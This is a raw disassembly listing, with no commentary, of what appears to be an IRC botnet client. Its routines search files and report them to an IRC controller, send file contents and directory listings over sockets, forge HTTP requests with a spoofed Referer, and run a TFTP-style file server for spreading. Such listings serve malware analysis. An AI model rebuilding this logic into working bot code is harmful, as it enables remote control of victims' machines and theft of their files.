		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406A35
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_415316
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406248
; ---------------------------------------------------------------------------


loc_4061ED:				; CODE XREF: sub_406048+14Ej
		push	ebx


loc_4061EE:				; CODE XREF: sub_406048+125j
		call	dword_43CABC	; closesocket
		jmp	loc_4062DE
; ---------------------------------------------------------------------------


loc_4061F9:				; CODE XREF: sub_406048+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406248
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_415316
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_421090	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_42106C	; CloseHandle


loc_406248:				; CODE XREF: sub_406048+1A3j
					; sub_406048+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_426CA8
		push	eax
		call	sub_415316
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_414DDA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_441B9C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405ECC
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4062ED
		push	ebx
		call	dword_43CABC	; closesocket
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_426C58
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40B078
		add	esp, 10h


loc_4062DE:				; CODE XREF: sub_406048+1ACj
					; sub_406048+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4062E5:				; CODE XREF: sub_406048+2ABj
		push	5
		call	dword_421060	; Sleep


loc_4062ED:				; CODE XREF: sub_406048+266j
		cmp	[ebp+var_318], edi
		jz	short loc_4062E5
		jmp	short loc_4062DE
sub_406048	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062F7	proc near		; CODE XREF: sub_405ECC+153p
					; sub_40CD3A+4602p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_415390
		mov	edi, [ebp+arg_0]
		push	offset asc_426CF0 ; "\n"
		push	edi
		call	sub_416B3F
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_406356
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 14h
		jmp	loc_406452
; ---------------------------------------------------------------------------


loc_406356:				; CODE XREF: sub_4062F7+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_406438
		call	sub_415B10
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		push	edi
		call	sub_415B10
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_406452
; ---------------------------------------------------------------------------


loc_406438:				; CODE XREF: sub_4062F7+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 10h


loc_406452:				; CODE XREF: sub_4062F7+5Aj
					; sub_4062F7+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_4064EA
		push	[ebp+arg_C]
		call	sub_415B10
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4064EA
		push	[ebp+arg_C]
		call	sub_415B10
		sub	eax, 3
		pop	ecx
		jz	short loc_40649E


loc_406492:				; CODE XREF: sub_4062F7+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40649E
		dec	eax
		jnz	short loc_406492


loc_40649E:				; CODE XREF: sub_4062F7+199j
					; sub_4062F7+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send


loc_4064EA:				; CODE XREF: sub_4062F7+17Dj
					; sub_4062F7+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4210A8	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jz	loc_4068E1
		mov	edi, 1FFh


loc_406516:				; CODE XREF: sub_4062F7+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_4068C9
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068C9
		lea	eax, [ebp+var_35C]
		push	offset a__1	; "."
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068C9
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4210A0	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42109C	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	loc_406613
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_406592:				; CODE XREF: sub_4062F7+322j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_415316
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40674A
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40661E
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 28h
		jmp	loc_40689A
; ---------------------------------------------------------------------------


loc_406613:				; CODE XREF: sub_4062F7+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_406592
; ---------------------------------------------------------------------------


loc_40661E:				; CODE XREF: sub_4062F7+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_406708
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415B10
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_4066C4
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4066C9
; ---------------------------------------------------------------------------


loc_4066C4:				; CODE XREF: sub_4062F7+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4066C9:				; CODE XREF: sub_4062F7+3CBj
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40688B
; ---------------------------------------------------------------------------


loc_406708:				; CODE XREF: sub_4062F7+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_406735:				; CODE XREF: sub_4062F7+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 24h
		jmp	loc_40689A
; ---------------------------------------------------------------------------


loc_40674A:				; CODE XREF: sub_4062F7+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_406774
		push	ebx
		push	[ebp+var_368]
		call	sub_40C10D
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_406735
; ---------------------------------------------------------------------------


loc_406774:				; CODE XREF: sub_4062F7+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_406874
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415B10
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_40681A
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40681F
; ---------------------------------------------------------------------------


loc_40681A:				; CODE XREF: sub_4062F7+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40681F:				; CODE XREF: sub_4062F7+521j
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		jmp	short loc_40689A
; ---------------------------------------------------------------------------


loc_406874:				; CODE XREF: sub_4062F7+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40688B:				; CODE XREF: sub_4062F7+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41588A
		add	esp, 18h


loc_40689A:				; CODE XREF: sub_4062F7+317j
					; sub_4062F7+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4068C9
		push	7D0h
		call	dword_421060	; Sleep


loc_4068C9:				; CODE XREF: sub_4062F7+225j
					; sub_4062F7+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	loc_406516


loc_4068E1:				; CODE XREF: sub_4062F7+214j
		push	[ebp+arg_0]
		call	dword_421098	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_406924
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_415316
		add	esp, 14h
		jmp	short loc_406952
; ---------------------------------------------------------------------------


loc_406924:				; CODE XREF: sub_4062F7+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_40693E
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_406952
; ---------------------------------------------------------------------------


loc_40693E:				; CODE XREF: sub_4062F7+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_415316
		add	esp, 10h


loc_406952:				; CODE XREF: sub_4062F7+62Bj
					; sub_4062F7+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4062F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406978	proc near		; CODE XREF: sub_405ECC+135p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_421078	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406A30
		push	esi
		push	ebx
		call	dword_421090	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406A29


loc_4069BD:				; CODE XREF: sub_406978+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_4069DA
		mov	edi, [ebp+arg_4]


loc_4069DA:				; CODE XREF: sub_406978+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406A24
		call	dword_43C9B8	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_406A29
		xor	eax, eax


loc_406A24:				; CODE XREF: sub_406978+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_4069BD


loc_406A29:				; CODE XREF: sub_406978+43j
					; sub_406978+A8j
		push	ebx
		call	dword_42106C	; CloseHandle


loc_406A30:				; CODE XREF: sub_406978+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406978	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A35	proc near		; CODE XREF: sub_406048+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_415B10
		test	eax, eax
		pop	ecx
		jbe	short loc_406A5E


loc_406A48:				; CODE XREF: sub_406A35+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406A52
		mov	byte ptr [esi+edi], 2Fh


loc_406A52:				; CODE XREF: sub_406A35+17j
		push	edi
		inc	esi
		call	sub_415B10
		cmp	esi, eax
		pop	ecx
		jb	short loc_406A48


loc_406A5E:				; CODE XREF: sub_406A35+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406A35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A63	proc near		; CODE XREF: sub_40CD3A+2A1Ap

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43C99C	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_43CAA4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43CA24	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_409F7A
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406B40
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406ADC
		mov	eax, offset byte_43B658


loc_406ADC:				; CODE XREF: sub_406A63+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43CA74	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		pop	esi


loc_406B40:				; CODE XREF: sub_406A63+6Bj
		push	ebx
		call	dword_43CABC	; closesocket
		call	dword_43C984	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_415316
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406B80
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_406B80:				; CODE XREF: sub_406A63+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406A63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B84	proc near		; CODE XREF: sub_406B84:loc_407069p
					; DATA XREF: sub_4071B6+104o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43CAA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406C47
		push	190h
		call	dword_421060	; Sleep
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_427310
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406C27
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412BD1
		add	esp, 14h


loc_406C27:				; CODE XREF: sub_406B84+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B078
		push	[ebp+var_170]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_406C47:				; CODE XREF: sub_406B84+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_441BA4[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43CA24	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43CA50	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406CAC
		push	1388h
		call	dword_421060	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407069
; ---------------------------------------------------------------------------


loc_406CAC:				; CODE XREF: sub_406B84+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415A08
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406D2A
		push	190h
		call	dword_421060	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_4272C0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412BD1
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B078
		push	[ebp+var_170]
		call	sub_4150F0
		add	esp, 28h
		push	ebx
		call	dword_421048	; ExitThread


loc_406D2A:				; CODE XREF: sub_406B84+140j
		mov	esi, 200h


loc_406D2F:				; CODE XREF: sub_406B84+49Fj
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_407029
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43CA0C	; select
		test	eax, eax
		jle	loc_40701D
		mov	al, byte_43B658
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43C9FC	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
